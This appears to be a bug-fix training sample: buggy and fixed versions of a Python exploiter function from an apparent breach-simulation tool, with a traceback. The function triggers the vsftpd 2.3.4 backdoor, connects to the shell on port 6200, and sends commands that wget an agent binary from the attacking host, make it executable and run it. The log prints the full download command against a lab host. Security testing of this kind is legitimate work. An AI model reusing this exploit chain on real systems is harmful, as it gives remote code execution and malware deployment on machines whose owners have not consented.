# Buggy code
def _exploit_host(self):
    LOG.info("Attempting to trigger the Backdoor..")
    ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
        ftp_socket.recv(RECV_128).decode("utf-8")

    if self.socket_send_recv(ftp_socket, USERNAME + b"\n"):
        time.sleep(FTP_TIME_BUFFER)
        self.socket_send(ftp_socket, PASSWORD + b"\n")
        ftp_socket.close()
        LOG.info("Backdoor Enabled, Now we can run commands")
    else:
        LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr)
        return False

    LOG.info("Attempting to connect to backdoor...")
    backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
        LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr)

    uname_m = str.encode(UNAME_M + "\n")
    response = self.socket_send_recv(backdoor_socket, uname_m)

    if response:
        LOG.info("Response for uname -m: %s", response)
        if "" != response.lower().strip():
            # command execution is successful
            self.host.os["machine"] = response.lower().strip()
            self.host.os["type"] = "linux"
    else:
        LOG.info("Failed to execute command uname -m on victim %r ", self.host)

    src_path = get_target_monkey(self.host)
    LOG.info(
        "src for suitable monkey executable for host %r is %s", self.host, src_path
    )

    if not src_path:
        LOG.info("Can't find suitable monkey executable for host %r", self.host)
        return False

    # Create a http server to host the monkey
    http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
    dropper_target_path_linux = self._config.dropper_target_path_linux
    LOG.info("Download link for monkey is %s", http_path)

    # Upload the monkey to the machine
    monkey_path = dropper_target_path_linux
    download_command = WGET_HTTP_UPLOAD % {
        "monkey_path": monkey_path,
        "http_path": http_path,
    }
    download_command = str.encode(str(download_command) + "\n")
    LOG.info("Download command is %s", download_command)
    if self.socket_send(backdoor_socket, download_command):
        LOG.info("Monkey is now Downloaded ")
    else:
        LOG.error("Failed to download monkey at %s", self.host.ip_addr)
        return False

    http_thread.join(DOWNLOAD_TIMEOUT)
    http_thread.stop()

    # Change permissions
    change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
    change_permission = str.encode(str(change_permission) + "\n")
    LOG.info("change_permission command is %s", change_permission)
    backdoor_socket.send(change_permission)
    T1222Telem(ScanStatus.USED, change_permission, self.host).send()

    # Run monkey on the machine
    parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
    run_monkey = RUN_MONKEY % {
        "monkey_path": monkey_path,
        "monkey_type": MONKEY_ARG,
        "parameters": parameters,
    }

    # Set unlimited to memory
    # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
    run_monkey = ULIMIT_V + UNLIMITED + run_monkey
    run_monkey = str.encode(str(run_monkey) + "\n")
    time.sleep(FTP_TIME_BUFFER)
    if backdoor_socket.send(run_monkey):
        LOG.info(
            "Executed monkey '%s' on remote victim %r (cmdline=%r)",
            self._config.dropper_target_path_linux,
            self.host,
            run_monkey,
        )
        self.add_executed_cmd(run_monkey)
        return True
    else:
        return False


# Traceback (TypeError)
2020-04-13 14:20:02,287 [7236:1716:INFO] vsftpd._exploit_host.102: src for suitable monkey executable for host VictimHost('192.168.56.101') is monkeyfs://monkey-linux-32
2020-04-13 14:20:07,142 [7236:1716:INFO] vsftpd._exploit_host.111: Download link for monkey is http://192.168.56.1:4059/monkey-linux-32
2020-04-13 14:20:07,142 [7236:1716:INFO] vsftpd._exploit_host.117: Download command is b'wget -O /tmp/monkey http://192.168.56.1:4059/monkey-linux-32\
'
2020-04-13 14:20:07,142 [7236:1716:INFO] vsftpd._exploit_host.119: Monkey is now Downloaded
2020-04-13 14:20:07,149 [7236:13508:DEBUG] http.log_message.108: FileServHTTPRequestHandler: 192.168.56.101 - - [13/Apr/2020 14:20:07] "GET /monkey-linux-32 HTTP/1.0" 200 -
2020-04-13 14:20:07,329 [7236:13508:INFO] http.report_download.252: File downloaded from (192.168.56.101,44962)
2020-04-13 14:20:07,329 [7236:13508:DEBUG] base_telem.send.25: Sending attack telemetry. Data: {"status": 2, "technique": "T1105", "filename": "monkeyfs://monkey-linux-32", "src": "192.168.56.1", "dst": "192.168.56.101"}
2020-04-13 14:20:07,331 [7236:13508:DEBUG] connectionpool._new_conn.959: Starting new HTTPS connection (1): 192.168.56.1:5000
2020-04-13 14:20:07,354 [7236:13508:DEBUG] connectionpool._make_request.437: https://192.168.56.1:5000 "POST /api/telemetry HTTP/1.1" 200 354
2020-04-13 14:20:07,355 [7236:1716:INFO] vsftpd._exploit_host.130: change_permission command is b'chmod +x /tmp/monkey\
'
2020-04-13 14:20:07,356 [7236:1716:ERROR] monkey.try_exploiting.342: Exception while attacking Victim Host 192.168.56.101: OS - [type-linux version-Unix machine-i686 ] Services - [tcp-22-{'display_name': 'SSH', 'port': 22, 'banner': 'SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1\
', 'name': 'ssh', 'os-version': 'Debian-8ubuntu1'} tcp-80-{'display_name': 'HTTP', 'port': 80, 'name': 'http', 'data': ('Apache/2.2.8 (Ubuntu) DAV/2', False)} mysqld-3306-{'display_name': 'MySQL', 'port': 3306, 'version': '5.0.51a-3ubuntu5', 'major_version': '5', 'minor_version': '0', 'build_version': '51a', 'capabilities': 30003, 'extcapabilities': 12334} tcp-445-{'display_name': 'SMB', 'port': 445, 'name': 'Samba 3.0.20-Debian'} ] target monkey: monkeyfs://monkey-linux-32 using VSFTPDExploiter: Object of type bytes is not JSON serializable
Traceback (most recent call last):
File "monkey\\infection_monkey\\monkey.py", line 327, in try_exploiting
File "monkey\\infection_monkey\\exploit\\HostExploiter.py", line 71, in exploit_host
File "monkey\\infection_monkey\\exploit\\vsftpd.py", line 132, in _exploit_host
File "monkey\\infection_monkey\	elemetry\�ase_telem.py", line 25, in send
File "json\\__init__.py", line 231, in dumps
File "json\\encoder.py", line 199, in encode
File "json\\encoder.py", line 257, in iterencode
File "json\\encoder.py", line 179, in default
TypeError: Object of type bytes is not JSON serializable

# Fixed code
def _exploit_host(self):
    LOG.info("Attempting to trigger the Backdoor..")
    ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
        ftp_socket.recv(RECV_128).decode("utf-8")

    if self.socket_send_recv(ftp_socket, USERNAME + b"\n"):
        time.sleep(FTP_TIME_BUFFER)
        self.socket_send(ftp_socket, PASSWORD + b"\n")
        ftp_socket.close()
        LOG.info("Backdoor Enabled, Now we can run commands")
    else:
        LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr)
        return False

    LOG.info("Attempting to connect to backdoor...")
    backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
        LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr)

    uname_m = str.encode(UNAME_M + "\n")
    response = self.socket_send_recv(backdoor_socket, uname_m)

    if response:
        LOG.info("Response for uname -m: %s", response)
        if "" != response.lower().strip():
            # command execution is successful
            self.host.os["machine"] = response.lower().strip()
            self.host.os["type"] = "linux"
    else:
        LOG.info("Failed to execute command uname -m on victim %r ", self.host)

    src_path = get_target_monkey(self.host)
    LOG.info(
        "src for suitable monkey executable for host %r is %s", self.host, src_path
    )

    if not src_path:
        LOG.info("Can't find suitable monkey executable for host %r", self.host)
        return False

    # Create a http server to host the monkey
    http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
    dropper_target_path_linux = self._config.dropper_target_path_linux
    LOG.info("Download link for monkey is %s", http_path)

    # Upload the monkey to the machine
    monkey_path = dropper_target_path_linux
    download_command = WGET_HTTP_UPLOAD % {
        "monkey_path": monkey_path,
        "http_path": http_path,
    }
    download_command = str.encode(str(download_command) + "\n")
    LOG.info("Download command is %s", download_command)
    if self.socket_send(backdoor_socket, download_command):
        LOG.info("Monkey is now Downloaded ")
    else:
        LOG.error("Failed to download monkey at %s", self.host.ip_addr)
        return False

    http_thread.join(DOWNLOAD_TIMEOUT)
    http_thread.stop()

    # Change permissions
    change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
    change_permission = str.encode(str(change_permission) + "\n")
    LOG.info("change_permission command is %s", change_permission)
    backdoor_socket.send(change_permission)
    T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()

    # Run monkey on the machine
    parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
    run_monkey = RUN_MONKEY % {
        "monkey_path": monkey_path,
        "monkey_type": MONKEY_ARG,
        "parameters": parameters,
    }

    # Set unlimited to memory
    # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
    run_monkey = ULIMIT_V + UNLIMITED + run_monkey
    run_monkey = str.encode(str(run_monkey) + "\n")
    time.sleep(FTP_TIME_BUFFER)
    if backdoor_socket.send(run_monkey):
        LOG.info(
            "Executed monkey '%s' on remote victim %r (cmdline=%r)",
            self._config.dropper_target_path_linux,
            self.host,
            run_monkey,
        )
        self.add_executed_cmd(run_monkey.decode())
        return True
    else:
        return False